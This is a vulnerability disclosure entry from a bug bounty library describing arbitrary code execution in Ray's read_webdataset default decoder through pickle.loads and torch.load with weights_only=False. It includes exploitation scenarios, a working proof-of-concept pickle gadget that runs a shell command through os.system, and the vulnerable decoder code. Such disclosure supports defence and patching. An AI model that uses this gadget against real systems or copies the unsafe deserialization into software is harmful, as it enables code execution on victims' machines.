# Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)

Ray's read_webdataset default decoder unpickles .pkl and torch.loads .pt TAR members with weights_only=False, giving arbitrary code execution on any untrusted shard.

- Payout: Research
- Severity: high
- Program: Ray
- Found by (vendor credit): jeremysommerfeld8910-cpu, shakevsky, alexchenai, SSJCorpSec, thesecguy45, sfwani, Rahul Karne
- Found by: SSJCorpSec, thesecguy45, sfwani
- Disclosed: 2026-07-24
- CVE: CVE-2026-57516
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-hhrp-gw25-jr43
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hhrp-gw25-jr43
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:deserialization vuln:rce

**Target:** ray.data.read_webdataset WebDataset TAR reader (_default_decoder)
**Root cause:** The default decoder routes TAR member extensions to pickle.loads and torch.load(weights_only=False) with no validation or opt-in, and decoder=True is the default so it fires on every read.
**Steps:**
1. Build a TAR with members `000000.txt` and `000000.pkl` where the pkl body is `pickle.dumps(Gadget())` and Gadget.__reduce__ returns `(os.system, (cmd,))`.
2. Call `ray.data.read_webdataset(paths=[tar_path])` then `ds.take_all()`.
3. Observe the marker file written by the shell command, confirming code execution in the calling process.
4. For the .pt variant, place `000000.pt` containing `torch.save(Gadget())` in the TAR instead.
**How found:** Noticed the code comment explaining that weights_only=False was chosen to override PyTorch 2.6's safer default, then traced read_api.py's decoder=True default into WebDatasetDatasource._read_stream where `True is not None` makes the unsafe decoder fire unconditionally; recognized the same class as the earlier Parquet cloudpickle advisory GHSA-mw35.
**Exploitation:** Attacker supplies a poisoned TAR via shared/mis-permissioned S3 bucket, HTTP URL, HuggingFace Hub dataset mirror, or model-zoo tarball; victim passes it to read_webdataset and the gadget executes at schema-sample time before rows are consumed.
**Insight:** When a maintainer comment justifies disabling a security default for compatibility, treat it as a live sink; also check sibling code sites after a deserialization patch, since fixes are often scoped to one module (Parquet) and miss parallel readers (WebDataset).

## Proof of concept (copied exactly from the original report)

**PoC TAR with pickle gadget triggering RCE**

```
import io, os, pickle, subprocess, tarfile, tempfile, sys

MARKER = "/tmp/ray_webdataset_poc_rce_marker"

class Gadget:
    def __reduce__(self):
        cmd = (f"/bin/sh -c \"printf 'RCE via ray.data.read_webdataset\\n"
               f"pid=%s\\nuser=%s\\n' \"$$\" \"$(whoami)\" > {MARKER}\"")
        return (os.system, (cmd,))

with tempfile.NamedTemporaryFile(suffix=".tar", delete=False) as f:
    tar_path = f.name
with tarfile.open(tar_path, "w") as tar:
    for name, body in (("000000.txt", b"hello"),
                       ("000000.pkl", pickle.dumps(Gadget()))):
        ti = tarfile.TarInfo(name=name); ti.size = len(body)
        tar.addfile(ti, io.BytesIO(body))

import ray, ray.data
ray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)
ds = ray.data.read_webdataset(paths=[tar_path])
rows = ds.take_all()
assert os.path.exists(MARKER), "no RCE"
print(open(MARKER).read())
```

**Vulnerable default decoder pickle.loads and torch.load**

```
def _default_decoder(sample, format=True):
    sample = dict(sample)
    for key, value in sample.items():
        extension = key.split(".")[-1]
        ...
        elif extension in ["pt", "pth"]:
            import torch
            # PyTorch 2.6 changed torch.load default weights_only=True, which
            # breaks loading general Python objects previously serialized for
            # WebDataset .pt payloads.
            sample[key] = torch.load(io.BytesIO(value), weights_only=False)   # line 219
        elif extension in ["pickle", "pkl"]:
            import pickle
            sample[key] = pickle.loads(value)
```

